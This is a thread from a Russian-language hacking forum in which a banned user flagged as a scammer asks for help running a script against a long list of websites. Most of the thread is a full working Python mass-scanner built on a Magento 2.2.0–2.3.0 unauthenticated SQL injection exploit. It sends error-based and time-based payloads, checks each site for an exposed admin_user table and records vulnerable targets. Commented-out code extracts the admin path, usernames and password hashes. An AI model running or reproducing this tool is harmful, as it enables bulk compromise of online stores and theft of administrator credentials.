• XSS.stack #1 – первый литературный журнал от юзеров форума

требуется скрипт

FastZoom

ripper
КИДАЛА
Регистрация
22.12.2019
Сообщения
21
Реакции
2
Пожалуйста, обратите внимание, что пользователь заблокирован
Запускается python3 script.py site.com
Есть большой список сайтов, который нужно пропустить через скрипт.
Но дело в том, что скрипт работает с одним сайтом за раз.
Нужно как то его зациклить, что бы обрабатывал сайты по очереди каждый по списку и в отчете напротив сайта, допустим через запятую писал ответ.

Скрипт запустить смог, работает, но в целом в питоне не шарю, поэтому объясните как лучше? Дописать этот, что бы работал со списком
 
Пожалуйста, обратите внимание, что пользователь заблокирован

raise ExploitError('No admins is available')
print('Admins table is available !')
вот мне нужны эти два ответа. тоесть я проверяю пак сайтов, в выводе хотелось бы получить напротив каждого сайта один из ответов. желательно через запятую)
 
Если под линуксами и без модификации скрипта, то
Bash:
for site in $(cat sites.txt); do
  echo "Processing site: $site"
  python3 script.py $site
done
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если под линуксами и без модификации скрипта, то
Bash:
for site in $(cat sites.txt); do
  echo "Processing site: $site"
  python3 script.py $site
done
это получается какой вывод будет ?
 
это получается какой вывод будет ?
Сделай так и будет писаться в output.txt
Код:
for site in $(cat sites.txt); do
  echo "Processing site: $site"
  echo "Processing site: $site" >> output.txt
  python3 script.py $site >> output.txt
  echo "-----------" >> output.txt
done
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сделай так и будет писаться в output.txt
Код:
for site in $(cat sites.txt); do
  echo "Processing site: $site"
  echo "Processing site: $site" >> output.txt
  python3 script.py $site >> output.txt
  echo "-----------" >> output.txt
done
site, 'Admins table is available !' через запятую, что бы мог в эксель импортировать можно сделать ?
 
site, 'Admins table is available !' через запятую, что бы мог в эксель импортировать можно сделать ?
стукни мне в пм, я помогу ...
 
Python:
#!/usr/bin/env python3
# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi
# Charles Fol
# 2019-03-22
#
# SOURCE & SINK
# The sink (from-to SQL condition) has been present from Magento 1.x onwards.
# The source (/catalog/product_frontend_action/synchronize) from 2.2.0.
# If your target runs Magento < 2.2.0, you need to find another source.
#
# SQL INJECTION
# The exploit can easily be modified to obtain other stuff from the DB, for
# instance admin/user password hashes.
#

import requests
import string
import binascii
import re
import random
import time
import sys

from threading import Thread, Lock
from queue import Queue

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

urls_queue = Queue()
lock = Lock()


def save(url):
    with lock:
        with open('available.txt', 'a') as f:
            f.write(url + '\n')


def log(string):
    with lock:
        print(string)


def run():
    while not urls_queue.empty():
        url = urls_queue.get()
        sqli = SQLInjection(url)

        try:
            sqli.find_test_method()
            if sqli.get_most_recent_session():
                save(url)
        except ExploitError as e:
            log('Error: %s' % e)


def random_string(n=8):
    return ''.join(random.choice(string.ascii_letters) for _ in range(n))


class ExploitError(Exception):
    pass


class Browser:
    """Basic browser functionality along w/ URLs and payloads.
    """
    PROXY = None

    def __init__(self, URL):
        self.URL = URL
        self.s = requests.Session()
        self.s.verify = False
        if self.PROXY:
            self.s.proxies = {
                'http': self.PROXY,
                'https': self.PROXY,
            }


class SQLInjection(Browser):
    """SQL injection stuff.
    """

    def encode(self, string):
        return '0x' + binascii.b2a_hex(string.encode()).decode()

    def find_test_method(self):
        """Tries to inject using an error-based technique, or falls back to timebased.
        """
        for test_method in (self.test_error, self.test_timebased):
            if test_method('123=123') and not test_method('123=124'):
                self.test = test_method
                break
        else:
            raise ExploitError('Test SQL injections failed, not vulnerable ?')

    def test_timebased(self, condition):
        """Runs a test. A valid condition results in a sleep of 1 second.
        """
        payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        return r.elapsed.total_seconds() > 1

    def test_error(self, condition):
        """Runs a test. An invalid condition results in an SQL error.
        """
        payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        if r.status_code not in (200, 400):
            raise ExploitError(
                'SQL injection does not yield a correct HTTP response'
            )
        return r.status_code == 400

    def word(self, name, sql, size=None, charset=None):
        """Dichotomically obtains a value.
        """
        pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0'
        full = ''

        check = False
      
        if size is None:
            # Yeah whatever
            size_size = self.word(
                name,
                'LENGTH(LENGTH(%s))' % sql,
                size=1,
                charset=string.digits
            )
            size = self.word(
                name,
                'LENGTH(%s)' % sql,
                size=int(size_size),
                charset=string.digits
            )
            size = int(size)

        log("%s: %s" % (name, full), end='\r')

        for p in range(size):
            c = charset
          
            while len(c) > 1:
                middle = len(c) // 2
                h0, h1 = c[:middle], c[middle:]
                condition = pattern % (sql, p+1, self.encode(h0))
                c = h1 if self.test(condition) else h0

            full += c
            log("%s: %s" % (name, full), end='\r')

        log(' ' * len("%s: %s" % (name, full)), end='\r')

        return full

    def get_most_recent_session(self):
        """Grabs the last created session. We don't need special privileges aside from creating a product so any session
        should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the
        backend.
        """

        session_timeout = 900
        query = (
            'SELECT %%s FROM admin_user '
            'WHERE is_active=1 OR %d=1 ORDER BY user_id ASC '
            'LIMIT 0,1'
        ) % session_timeout

        # Check if a session is available

        available = not self.test('(%s)=0' % (query % 'COUNT(*)')) 
        if not available:
            log('No admins is available')
            return False
        log('Admins table is available !')
        return True

        #query2 = (
        #    'SELECT %%s FROM core_config_data '
        #    'WHERE path="admin/url/custom" '
        #    'LIMIT 0,1 -- %d'
        #) % session_timeout

        #sid = self.word(
        #    'Admin Path: ',
        #    query2 % 'value',
        #    charset=string.ascii_lowercase + string.digits,
        #    size=40
        #)
        #print('Admin Path: %s' % sid)

        # Fetch it
        #sid = self.word(
        #    'Username: ',
        #    query % 'username',
        #    charset=string.ascii_lowercase + string.digits,
        #    size=40
        #)
        #print('Username: %s' % sid)

        #sid = self.word(
        #    'Password: ',
        #    query % 'password',
        #    charset=string.ascii_lowercase + string.digits,
        #    size=100
        #)
        #print('Password: %s' % sid)
        #return sid

if __name__ == '__main__':

    if len(sys.argv) < 2:
        sys.exit('Usage: {} <urls_file> <threads>'.format(sys.argv[0]))

    urls_file = sys.argv[1]
    threads = int(sys.argv[2])

    with open(urls_file, 'r') as f:
        [urls_queue.put(url.rstrip()) for url in f if url.rstrip()]

    t_list = []
    for _ in range(threads):
        t = Thread(target=run)
        t.start()
        t_list.append(t)

    for t in t_list:
        t.join()
 
Пожалуйста, обратите внимание, что пользователь заблокирован
стукни мне в пм, я помогу ...
Лучший помог в лучшем виде спасибо большое .
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх